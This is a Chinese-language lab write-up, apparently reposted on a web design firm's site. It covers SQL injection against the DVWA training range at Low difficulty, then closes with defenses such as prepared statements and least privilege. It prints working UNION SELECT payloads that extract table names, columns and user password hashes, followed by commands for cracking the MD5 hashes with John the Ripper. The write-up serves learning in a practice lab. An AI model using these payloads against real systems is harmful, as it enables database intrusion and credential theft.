尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

DVWA SQL 注入实战报告(Low 难度)

DVWA SQL 注入实战报告(Low 难度) 一、实验环境靶场DVWA 1.9安全等级Low操作系统Kali LinuxWeb 服务Apache MySQL小皮 panel浏览器Firefox二、实验原理2.1 什么是 SQL 注入SQL 注入SQL Injection是指攻击者通过在 Web 表单或 URL 中输入恶意的 SQL 语句欺骗后端数据库执行非预期的 SQL 命令从而获取、修改或删除数据。2.2 漏洞成因后端代码直接将用户输入拼接到 SQL 语句中没有做任何过滤或转义php复制$id $_GET[id]; $sql SELECT * FROM users WHERE id $id LIMIT 0,1;攻击者输入1时SQL 变成sql复制SELECT * FROM users WHERE id 1 LIMIT 0,1 -- 多了一个单引号语法错误报错三、实验步骤3.1 确认注入点输入结果说明1正常显示 admin 用户信息正常查询1报错证明存在 SQL 注入漏洞1 #正常显示 admin 用户信息用#注释掉后面的语句修复语法关键点#是 MySQL 的注释符会把后面的 LIMIT 0,1全部注释掉。3.2 获取数据库名输入code复制1 UNION SELECT 1,database() #结果code复制First name: 1 Surname: dvwa说明database()函数返回当前数据库名dvwa。3.3 获取表名输入code复制1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schemadatabase() #结果code复制First name: 1 Surname: users说明information_schema.tables是 MySQL 的元数据表存储了所有表名。table_schemadatabase()限定只查当前数据库的表。3.4 获取字段名输入code复制1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_nameusers #结果code复制First name: 1 Surname: user_id First name: 1 Surname: first_name First name: 1 Surname: last_name First name: 1 Surname: user First name: 1 Surname: password First name: 1 Surname: avatar First name: 1 Surname: last_login First name: 1 Surname: failed_login说明information_schema.columns存储了所有字段名。3.5 获取用户名和密码输入code复制1 UNION SELECT user,password FROM users #结果code复制First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 First name: gordonb Surname: e99a18c428cb38d5f260853678922e03 First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99说明密码是 MD5 哈希值需要破解才能看到明文。四、密码破解4.1 使用在线 MD5 破解网站Cmd5https://www.cmd5.com/SOMD5https://www.somd5.com/4.2 使用 Kali 工具bash复制# 创建哈希文件 echo 5f4dcc3b5aa765d61d8327deb882cf99 hashes.txt # 使用 john 破解 john --formatraw-md5 hashes.txt五、防御建议5.1 使用预编译语句Prepared Statementphp复制$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);5.2 使用 ORM 框架如 Eloquent、Doctrine 等自动转义输入。5.3 输入验证和过滤对用户输入进行白名单验证如 ID 只能是数字使用mysqli_real_escape_string()转义特殊字符但不如预编译安全5.4 最小权限原则数据库账号只给最小必要权限禁止使用 root 账号连接 Web 应用六、实验总结通过本次实验我完成了一次完整的 SQL 注入攻击流程确认注入点1报错使用#注释修复语句使用database()获取数据库名使用information_schema获取表名和字段名使用UNION SELECT获取所有用户的账号和密码收获理解了 SQL 注入的原理和危害掌握了 UNION 注入的基本流程学会了使用information_schema进行信息收集下一步学习 Medium/High 难度的 SQL 注入学习 SQL 注入的防御方法在靶场中练习其他类型的注入如盲注、时间盲注作者小霖日期2026-06-29环境Kali Linux DVWA
返回列表